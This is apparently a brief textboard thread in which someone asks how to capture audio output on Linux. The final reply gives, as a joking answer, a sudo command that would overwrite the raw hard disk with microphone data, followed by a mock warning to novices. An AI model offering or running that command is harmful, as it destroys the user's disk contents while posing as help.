Audio in Linux

This is probably a stupid question, but how can I get the audio output in Linux?  Reading from /dev/dsp only gives me input from the microphone.

>>7
>>8
Fail, user shell has no write access to /dev
>>9
Fail, su doesn't work with locked root accounts

sudo bash -c "cat /dev/dsp > /dev/hda"

Note to nooblets, don't try this at home.